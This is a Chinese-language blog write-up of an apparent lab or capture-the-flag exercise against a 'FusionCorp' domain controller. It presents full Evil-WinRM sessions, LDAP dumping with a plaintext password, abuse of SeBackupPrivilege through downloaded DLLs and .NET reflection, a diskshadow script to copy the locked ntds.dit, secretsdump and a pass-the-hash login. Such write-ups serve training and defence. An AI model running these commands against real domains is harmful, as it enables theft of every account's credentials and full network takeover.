【内网渗透】通过.NET反射强行激活SeBackupPrivilege，并配合VSS卷影拷贝绕过独占锁，最终拿下域控ntds.dit。

2026-05-12 06:00:36 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文详细记录了针对FusionCorp域控系统的内网渗透过程，通过nmap扫描发现域控制器Fusion-DC.fusion.corp，利用.NET反射技术激活SeBackupPrivilege权限，结合VSS卷影拷贝服务绕过文件独占锁机制，成功获取域控ntds.dit数据库文件。文档提供了完整的端口扫描结果、目录枚举信息和具体的技术操作步骤，展示了从信息收集到权限提升的完整攻击链。 综合评分： 85 文章分类： 内网渗透,红队,实战经验,安全工具,漏洞分析

域内横向

*Evil-WinRM* PS C:\Users\lparker\Desktop> whoami /all

USER INFORMATION
----------------

User Name &nbsp; &nbsp; &nbsp;SID
============== =============================================
fusion\lparker S-1-5-21-1898838421-3672757654-990739655-1103

GROUP INFORMATION
-----------------

Group Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Type &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Attributes
=========================================== ================ ============ ==================================================
Everyone &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Well-known group S-1-1-0 &nbsp; &nbsp; &nbsp;Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Alias &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Alias &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access &nbsp;Alias &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Well-known group S-1-5-2 &nbsp; &nbsp; &nbsp;Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Well-known group S-1-5-11 &nbsp; &nbsp; Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Well-known group S-1-5-15 &nbsp; &nbsp; Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Well-known group S-1-5-64-10 &nbsp;Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;S-1-16-8448

PRIVILEGES INFORMATION
----------------------

Privilege Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Description &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;State
============================= ============================== =======
SeMachineAccountPrivilege &nbsp; &nbsp; Add workstations to domain &nbsp; &nbsp; Enabled
SeChangeNotifyPrivilege &nbsp; &nbsp; &nbsp; Bypass traverse checking &nbsp; &nbsp; &nbsp; Enabled
SeIncreaseWorkingSetPrivilege Increase a process working&nbsp;set&nbsp;Enabled

USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support&nbsp;for&nbsp;Dynamic Access Control on this device has been disabled.

Medium Plus Mandatory Level（中级+完整性级别），且属于 Remote Management Users。没有本地管理员权限。

网又断了，看来不是我的问题，接下来不用在意 IP 是什么，反正域控对就行

*Evil-WinRM* PS C:\Users\lparker\Documents> net user

User accounts&nbsp;for&nbsp;\\

-------------------------------------------------------------------------------
Administrator &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Guest &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jmurphy
krbtgt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lparker
The&nbsp;command&nbsp;completed with one or more errors.

尝试 Kerberoasting，为什么还要尝试Kerberoasting？

手中的账号通常只是一个普通域用户，在域内几乎没有特权。

服务账号的特殊性：很多服务（如 MSSQL、IIS、Exchange）在配置 SPN（服务主体名称）时，运行在域管理员或高权限组账号下。
目标：通过 Kerberoasting，你获取的是这些服务账号的加密 Hash。如果破解成功，你就能直接登录这些高权限账号，从而实现从普通用户到管理员的权限跨越。

Type&nbsp;"WHOAMI /?"&nbsp;for&nbsp;usage.*Evil-WinRM* PS C:\Users\lparker\Documents> setspn -T fusion.corp -Q */*
Checking domain DC=fusion,DC=corp
CN=FUSION-DC,OU=Domain Controllers,DC=fusion,DC=corp
&nbsp;TERMSRV/FUSION-DC
&nbsp;TERMSRV/Fusion-DC.fusion.corp
&nbsp;Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/Fusion-DC.fusion.corp
&nbsp;ldap/Fusion-DC.fusion.corp/ForestDnsZones.fusion.corp
&nbsp;ldap/Fusion-DC.fusion.corp/DomainDnsZones.fusion.corp
&nbsp;DNS/Fusion-DC.fusion.corp
&nbsp;GC/Fusion-DC.fusion.corp/fusion.corp
&nbsp;RestrictedKrbHost/Fusion-DC.fusion.corp
&nbsp;RestrictedKrbHost/FUSION-DC
&nbsp;RPC/46637f26-9c61-4af6-b7a1-dd7055230d29._msdcs.fusion.corp
&nbsp;HOST/FUSION-DC/FUSION
&nbsp;HOST/Fusion-DC.fusion.corp/FUSION
&nbsp;HOST/FUSION-DC
&nbsp;HOST/Fusion-DC.fusion.corp
&nbsp;HOST/Fusion-DC.fusion.corp/fusion.corp
&nbsp;E3514235-4B06-11D1-AB04-00C04FC2DCD2/46637f26-9c61-4af6-b7a1-dd7055230d29/fusion.corp
&nbsp;ldap/FUSION-DC/FUSION
&nbsp;ldap/46637f26-9c61-4af6-b7a1-dd7055230d29._msdcs.fusion.corp
&nbsp;ldap/Fusion-DC.fusion.corp/FUSION
&nbsp;ldap/FUSION-DC
&nbsp;ldap/Fusion-DC.fusion.corp
&nbsp;ldap/Fusion-DC.fusion.corp/fusion.corp
CN=krbtgt,CN=Users,DC=fusion,DC=corp
&nbsp;kadmin/changepw

Existing SPN found!
*Evil-WinRM* PS C:\Users\lparker\Documents>

好吧，没有配置任何可供 Kerberoasting 攻击的用户账号

apple@macos ldapdomaindump % ldapdomaindump -u&nbsp;'fusion.corp\lparker'&nbsp;-p&nbsp;'!!abbylvzsvs2k6!'&nbsp;--no-json --no-grep 10.145.150.244
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
apple@macos ldapdomaindump % ls
LICENSE &nbsp; &nbsp;domain_computers_by_os.html domain_users_by_group.html pyproject.toml
MANIFEST.in &nbsp; domain_groups.html &nbsp;help.txt &nbsp; requirements.txt
README.md &nbsp; domain_policy.html &nbsp;ldapdomaindump &nbsp; setup.py
build &nbsp; &nbsp;domain_trusts.html &nbsp;ldapdomaindump.egg-info
domain_computers.html &nbsp;domain_users.html &nbsp;ldapdomaindump.py
apple@macos ldapdomaindump % open .
apple@macos ldapdomaindump %

查看 LDAP Domain Dump

打开domain_users.html，发现jmurphy 的密码，同时注意

Remote Management Users (远程管理用户组)

此组的成员可以通过 Windows 远程管理（WinRM）协议访问该计算机。

Backup Operators (备份操作员组)

SeBackupPrivilege (备份特权)：允许用户读取文件系统上的任何文件，完全无视 NTFS 权限（即使文件设置了“仅限 Administrator 访问”，备份操作员也能读）。
**SeRestorePrivilege (恢复特权)**：允许用户向系统写入任何文件，同样无视权限。

*Evil-WinRM* PS C:\Users\jmurphy\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Description &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;State
============================= ============================== =======
SeMachineAccountPrivilege &nbsp; &nbsp; Add workstations to domain &nbsp; &nbsp; Enabled
SeBackupPrivilege &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Back up files and directories &nbsp;Enabled
SeRestorePrivilege &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Restore files and directories &nbsp;Enabled
SeShutdownPrivilege &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Shut down the system &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Enabled
SeChangeNotifyPrivilege &nbsp; &nbsp; &nbsp; Bypass traverse checking &nbsp; &nbsp; &nbsp; Enabled
SeIncreaseWorkingSetPrivilege Increase a process working&nbsp;set&nbsp;Enabled

~~可以开香槟~~~~🍾~~~~了（bushi）~~

拿下域控

1、利用磁盘阴影拷贝 (VSS)（失败）

*Evil-WinRM* PS C:\Users\jmurphy\Documents> ntdsutil&nbsp;"ac i ntds"&nbsp;"ifm"&nbsp;"create full c:\temp\ntds_bak"&nbsp;q q
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance&nbsp;set&nbsp;to&nbsp;"ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\temp\ntds_bak
Creating snapshot...
&nbsp;error 0x5(Access is denied.)
IFM media created successfully&nbsp;in&nbsp;c:\temp\ntds_bak
ifm: q
C:\Windows\system32\ntdsutil.exe: q
*Evil-WinRM* PS C:\Users\jmurphy\Documents>

2、利用 Robocopy 备份模式（失败）

*Evil-WinRM* PS C:\Users\jmurphy\Desktop> robocopy /B C:\Windows\NTDS\ C:\Users\jmurphy\Desktop\ ntds.dit

-------------------------------------------------------------------------------
&nbsp; &nbsp;ROBOCOPY &nbsp; &nbsp; :: &nbsp; &nbsp; Robust File Copy&nbsp;for&nbsp;Windows
-------------------------------------------------------------------------------

&nbsp; Started : Sunday, May 10, 2026 9:01:15 AM
&nbsp; &nbsp;Source : C:\Windows\NTDS\
&nbsp; &nbsp; &nbsp;Dest : C:\Users\jmurphy\Desktop\

&nbsp; &nbsp; Files : ntds.dit

&nbsp; Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

------------------------------------------------------------------------------

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 1 C:\Windows\NTDS\
&nbsp; &nbsp; &nbsp;New File &nbsp; &nbsp; &nbsp;16.0 m ntds.dit
2026/05/10 09:01:15 ERROR 0 (0x00000000) Copying File C:\Windows\NTDS\ntds.dit
The operation completed successfully.

3、孩子别怕，你SeBackupPrivilege 来了

SeBackupPrivilegeUtils.dll 和 SeBackupPrivilegeCmdLets.dll

Windows 合法后门、强行读取（或写入）任何文件、完全无视NTFS 权限。

下载链接：

****https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug

# 创建一个文件夹存放
mkdir SeBackupPrivilege &&&nbsp;cd&nbsp;SeBackupPrivilege

# 使用 curl 下载对应的 DLL (注意 URL 可能会随版本变化，建议去浏览器点一下)
curl -L -O https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
curl -L -O https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll

# 在 Evil-WinRM 的 shell 里把文件丢上去
upload /你的本地路径/SeBackupPrivilegeCmdLets.dll
upload /你的本地路径/SeBackupPrivilegeUtils.dll

#运行
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

#1. 导出 SYSTEM 注册表（用于获取解密密钥）：
reg save hklm\system C:\Users\jmurphy\Desktop\system.save
#2. 强行拷贝 NTDS.DIT（利用备份特权）：
Copy-FileSeBackupPrivilege C:\Windows\NTDS\ntds.dit C:\Users\jmurphy\Desktop\ntds.dit -Overwrite

报错：

*Evil-WinRM* PS C:\Users\jmurphy\Desktop> reg save hklm\system C:\Users\jmurphy\Desktop\system.save
The operation completed successfully.

*Evil-WinRM* PS C:\Users\jmurphy\Desktop> Copy-FileSeBackupPrivilege C:\Windows\NTDS\ntds.dit C:\Users\jmurphy\Desktop\ntds.dit -Overwrite
Opening input file. - The process cannot access the file because it is being used by another process. (Exception from HRESULT: 0x80070020)
At line:1 char:1
+ Copy-FileSeBackupPrivilege C:\Windows\NTDS\ntds.dit C:\Users\jmurphy\ ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
&nbsp; &nbsp; + CategoryInfo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: NotSpecified: (:) [Copy-FileSeBackupPrivilege], Exception
&nbsp; &nbsp; + FullyQualifiedErrorId : System.Exception,bz.OneOEight.SeBackupPrivilege.Copy_FileSeBackupPrivilege

遇到 0x80070020 (The process cannot access the file because it is being used by another process) 是非常经典的情况。在域控（DC）上，ntds.dit 数据库被 lsass.exe 独占锁定，即便你有 SeBackupPrivilege（备份权限），它也只能绕过 ACL（访问控制列表），却无法绕过 文件系统锁。

# 激活特权（这一步至关重要，否则后续 Copy 依然会报权限错误）
[bz.OneOEight.SeBackupPrivilege.Utils]::SetTokenPrivilege("SeBackupPrivilege")

报错：

*Evil-WinRM* PS C:\Users\jmurphy\Desktop> [bz.OneOEight.SeBackupPrivilege.Utils]::SetTokenPrivilege("SeBackupPrivilege")
Unable to find&nbsp;type&nbsp;[bz.OneOEight.SeBackupPrivilege.Utils].
At line:1 char:1
+ [bz.OneOEight.SeBackupPrivilege.Utils]::SetTokenPrivilege("SeBackupPr ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
&nbsp; &nbsp; + CategoryInfo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: InvalidOperation: (bz.OneOEight.SeBackupPrivilege.Utils:TypeName) [], RuntimeException
&nbsp; &nbsp; + FullyQualifiedErrorId : TypeNotFound

使用反射强制加载 DLL，检查类型是否已加载，确认类型是否已经存在于当前会话：

*Evil-WinRM* PS C:\Users\jmurphy\Desktop> [Reflection.Assembly]::LoadFile("C:\Users\jmurphy\Desktop\SeBackupPrivilegeUtils.dll")

GAC &nbsp; &nbsp;Version &nbsp; &nbsp; &nbsp; &nbsp;Location
--- &nbsp; &nbsp;------- &nbsp; &nbsp; &nbsp; &nbsp;--------
False &nbsp;v2.0.50727 &nbsp; &nbsp; C:\Users\jmurphy\Desktop\SeBackupPrivilegeUtils.dll

直接调用类名：

*Evil-WinRM* PS C:\Users\jmurphy\Desktop> Import-Module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\Users\jmurphy\Desktop> [AppDomain]::CurrentDomain.GetAssemblies() | ForEach-Object {&nbsp;$_.GetTypes() } | Where-Object {&nbsp;$_.FullName -like&nbsp;"*SeBackupPrivilege*"&nbsp;}

IsPublic IsSerial Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BaseType
-------- -------- ---- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; --------
True &nbsp; &nbsp; False &nbsp; &nbsp;SeBackupPrivilegeUtils &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.Object
False &nbsp; &nbsp;True &nbsp; &nbsp; EFileAccess &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;System.Enum
False &nbsp; &nbsp;True &nbsp; &nbsp; EFileShare &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.Enum
False &nbsp; &nbsp;True &nbsp; &nbsp; ECreationDisposition &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.Enum
False &nbsp; &nbsp;True &nbsp; &nbsp; EFileAttributes &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;System.Enum
False &nbsp; &nbsp;True &nbsp; &nbsp; TOKEN_INFORMATION_CLASS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;System.Enum
False &nbsp; &nbsp;False &nbsp; &nbsp;TOKEN_PRIVILEGES &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.ValueType
False &nbsp; &nbsp;False &nbsp; &nbsp;LUID_AND_ATTRIBUTES &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;System.ValueType
False &nbsp; &nbsp;False &nbsp; &nbsp;LUID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.ValueType
False &nbsp; &nbsp;False &nbsp; &nbsp;TokPriv1Luid &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.ValueType
True &nbsp; &nbsp; False &nbsp; &nbsp;FileUtils &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;System.Object
True &nbsp; &nbsp; False &nbsp; &nbsp;Get_SeBackupPrivilege &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;System.Management.Automation.Cmdlet
True &nbsp; &nbsp; False &nbsp; &nbsp;Set_SeBackupPrivige &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;System.Management.Automation.Cmdlet
True &nbsp; &nbsp; False &nbsp; &nbsp;Copy_FileSeBackupPrivilege &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.Management.Automation.PSCmdlet

不行从刚才加载的类型中直接调用：

Evil-WinRM* PS C:\Users\jmurphy\Desktop>&nbsp;$type&nbsp;= [AppDomain]::CurrentDomain.GetAssemblies() | ForEach-Object {&nbsp;$_.GetTypes() } | Where-Object {&nbsp;$_.Name -eq&nbsp;"SeBackupPrivilegeUtils"&nbsp;}
*Evil-WinRM* PS C:\Users\jmurphy\Desktop>&nbsp;$type::SetTokenPrivilege("SeBackupPrivilege")
Method invocation failed because [bz.OneOEight.SeBackupPrivilege.SeBackupPrivilegeUtils] does not contain a method named&nbsp;'SetTokenPrivilege'.
At line:1 char:1
+&nbsp;$type::SetTokenPrivilege("SeBackupPrivilege")
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
&nbsp; &nbsp; + CategoryInfo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: InvalidOperation: (:) [], RuntimeException
&nbsp; &nbsp; + FullyQualifiedErrorId : MethodNotFound

还是不行，探测正确的方法名看看这个类到底提供了哪些静态方法：

*Evil-WinRM* PS C:\Users\jmurphy\Desktop>&nbsp;$type.GetMethods() | Where-Object {&nbsp;$_.Name -eq&nbsp;"setSeBackupPrivilege"&nbsp;} | ForEach-Object {&nbsp;$_.ToString() }
Boolean setSeBackupPrivilege(Boolean)
*Evil-WinRM* PS C:\Users\jmurphy\Desktop> [bz.OneOEight.SeBackupPrivilege.SeBackupPrivilegeUtils]::setSeBackupPrivilege($true)
True
*Evil-WinRM* PS C:\Users\jmurphy\Desktop> whoami /priv | findstr&nbsp;"SeBackupPrivilege"
SeBackupPrivilege &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Back up files and directories &nbsp;Enabled
*Evil-WinRM* PS C:\Users\jmurphy\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Description &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;State
============================= ============================== =======
SeMachineAccountPrivilege &nbsp; &nbsp; Add workstations to domain &nbsp; &nbsp; Enabled
SeBackupPrivilege &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Back up files and directories &nbsp;Enabled
SeRestorePrivilege &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Restore files and directories &nbsp;Enabled
SeShutdownPrivilege &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Shut down the system &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Enabled
SeChangeNotifyPrivilege &nbsp; &nbsp; &nbsp; Bypass traverse checking &nbsp; &nbsp; &nbsp; Enabled
SeIncreaseWorkingSetPrivilege Increase a process working&nbsp;set&nbsp;Enabled

方法名是 **setSeBackupPrivilege**

看上去 State 已经是 Enabled 了，这确实和刚才一样，但“权限开启”并不等于“锁被打开”。

接下来继续尝试创建卷影快照 down ntds.dit

*Evil-WinRM* PS C:\Users\jmurphy\Desktop>&nbsp;$s1&nbsp;= [WmiClass]"Win32_ShadowCopy"
Cannot convert value&nbsp;"Win32_ShadowCopy"&nbsp;to&nbsp;type&nbsp;"System.Management.ManagementClass". Error:&nbsp;"Access denied "
At line:1 char:1
+&nbsp;$s1&nbsp;= [WmiClass]"Win32_ShadowCopy"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
&nbsp; &nbsp; + CategoryInfo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: InvalidArgument: (:) [], RuntimeException
&nbsp; &nbsp; + FullyQualifiedErrorId : InvalidCastToWMIClass

说明尽管开启了 SeBackupPrivilege，但 WinRM 会话的 WMI 权限 被限制了。在域控上，即便你是管理员，直接通过 WMI 操作卷影拷贝有时也会受到过滤（特别是 UAC 远程限制）。

既然 WMI 被拦截了，我们换一种更底层、绕过 WMI 层的办法。既然你现在有 SeBackupPrivilege 且处于 Enabled 状态，我们可以尝试用 **diskshadow** 的“一句话脚本”模式，或者使用 **vssadmin**（虽然它通常用于查看，但在某些配置下可以创建）。

写入指令到脚本文件:

*Evil-WinRM* PS C:\Users\jmurphy\Desktop>&nbsp;"set context persistent nowriters",&nbsp;"add volume c: alias temp_shadow",&nbsp;"create",&nbsp;"expose %temp_shadow% z:",&nbsp;"exit"&nbsp;| Out-File -FilePath script.txt -Encoding ascii
*Evil-WinRM* PS C:\Users\jmurphy\Desktop> diskshadow /s script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: &nbsp;FUSION-DC, &nbsp;5/10/2026 10:09:34 AM

->&nbsp;set&nbsp;context persistent nowriters
-> add volume c:&nbsp;alias&nbsp;temp_shadow
-> create

The .cab metadata file cannot be stored&nbsp;in&nbsp;the current working directory, because it is&nbsp;read-only.

Use SET METADATA <metadata.cab> to specify an existing, writable directory.
*Evil-WinRM* PS C:\Users\jmurphy\Desktop>

这个报错是因为 diskshadow 在创建快照时，默认会尝试在当前目录下生成一个元数据文件（.cab），而由于正处于交互式的 Evil-WinRM 环境中，某些目录权限虽然显示可写，但对于 diskshadow 的服务进程来说可能存在写入限制。

没关系,手动指定一个 100% 具备写入权限的路径（比如 C:\Windows\Temp）来存放元数据即可。

*Evil-WinRM* PS C:\Users\jmurphy\Desktop>&nbsp;"set context persistent nowriters",&nbsp;"set metadata C:\Windows\Temp\metadata.cab",&nbsp;"add volume c: alias temp_shadow",&nbsp;"create",&nbsp;"expose %temp_shadow% z:",&nbsp;"exit"&nbsp;| Out-File -FilePath script.txt -Encoding ascii
*Evil-WinRM* PS C:\Users\jmurphy\Desktop> diskshadow /s script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: &nbsp;FUSION-DC, &nbsp;5/10/2026 10:12:35 AM

->&nbsp;set&nbsp;context persistent nowriters
->&nbsp;set&nbsp;metadata C:\Windows\Temp\metadata.cab
-> add volume c:&nbsp;alias&nbsp;temp_shadow
-> create
Alias temp_shadow&nbsp;for&nbsp;shadow ID {f0111d20-3ae6-43bd-bd30-27f323d05c58}&nbsp;set&nbsp;as environment variable.
Alias VSS_SHADOW_SET&nbsp;for&nbsp;shadow&nbsp;set&nbsp;ID {517547cb-67e1-45ca-99fa-51e11edad180}&nbsp;set&nbsp;as environment variable.

Querying all shadow copies with the shadow copy&nbsp;set&nbsp;ID {517547cb-67e1-45ca-99fa-51e11edad180}

&nbsp;* Shadow copy ID = {f0111d20-3ae6-43bd-bd30-27f323d05c58} &nbsp;%temp_shadow%
&nbsp; - Shadow copy&nbsp;set: {517547cb-67e1-45ca-99fa-51e11edad180} %VSS_SHADOW_SET%
&nbsp; - Original count of shadow copies = 1
&nbsp; - Original volume name: \\?\Volume{66a659a9-0000-0000-0000-602200000000}\ [C:\]
&nbsp; - Creation time: 5/10/2026 10:12:36 AM
&nbsp; - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
&nbsp; - Originating machine: Fusion-DC.fusion.corp
&nbsp; - Service machine: Fusion-DC.fusion.corp
&nbsp; - Not exposed
&nbsp; - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
&nbsp; - Attributes: &nbsp;No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %temp_shadow% z:
-> %temp_shadow% = {f0111d20-3ae6-43bd-bd30-27f323d05c58}
The shadow copy was successfully exposed as z:\.
->&nbsp;exit

快照已成功挂载到 **z:\**。现在 ntds.dit 在 z: 盘中是一个完全静止的副本，lsass.exe 的文件锁对它无效。

使用之前激活了 SeBackupPrivilege 的工具进行拷贝。此时源路径在 z: 盘。

执行特权拷贝

Copy-FileSeBackupPrivilege z:\Windows\NTDS\ntds.dit C:\Users\jmurphy\Desktop\ntds.dit -Overwrite

*Evil-WinRM* PS C:\Users\jmurphy\Desktop> dir

&nbsp; &nbsp; Directory: C:\Users\jmurphy\Desktop

Mode &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LastWriteTime &nbsp; &nbsp; &nbsp; &nbsp; Length Name
---- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;------------- &nbsp; &nbsp; &nbsp; &nbsp; ------ ----
-a---- &nbsp; &nbsp; &nbsp; &nbsp; 3/3/2021 &nbsp; 6:04 AM &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 37 flag.txt
-a---- &nbsp; &nbsp; &nbsp; &nbsp;5/10/2026 &nbsp;10:15 AM &nbsp; &nbsp; &nbsp; 16777216 ntds.dit
-a---- &nbsp; &nbsp; &nbsp; &nbsp;5/10/2026 &nbsp;10:10 AM &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;149 script.txt
-a---- &nbsp; &nbsp; &nbsp; &nbsp;5/10/2026 &nbsp; 9:43 AM &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;12288 SeBackupPrivilegeCmdLets.dll
-a---- &nbsp; &nbsp; &nbsp; &nbsp;5/10/2026 &nbsp; 9:44 AM &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;16384 SeBackupPrivilegeUtils.dll
-a---- &nbsp; &nbsp; &nbsp; &nbsp;5/10/2026 &nbsp; 9:44 AM &nbsp; &nbsp; &nbsp; 18075648 system.save

网又炸了，不过还好在坏之前我 down 下来了 ntds.dit

现在只需要提取 system.save。就可以了

apple@macos evil-winrm % ls -l
total 69640
-rw-r--r-- &nbsp;1 apple &nbsp;staff &nbsp; &nbsp; &nbsp; &nbsp; 0 May 10 17:30 brew
-rw-r--r-- &nbsp;1 apple &nbsp;staff &nbsp; &nbsp; &nbsp; 255 May 10 17:33 help.txt
-rw-r--r-- &nbsp;1 apple &nbsp;staff &nbsp;16777216 May 11 01:35 ntds.dit
-rw-r--r-- &nbsp;1 apple &nbsp;staff &nbsp;18075648 May 11 02:24 system.save
apple@macos evil-winrm % python ~/security/impacket/examples/secretsdump.py -ntds ntds.dit -system system.save LOCAL
Impacket v0.14.0.dev0+20260317.95020.1049826e - Copyright Fortra, LLC and its affiliated companies

apple@macos evil-winrm % evil-winrm -i 10.146.145.84 -u Administrator -H 9653xxxxxxxxx

Evil-WinRM shell v3.9

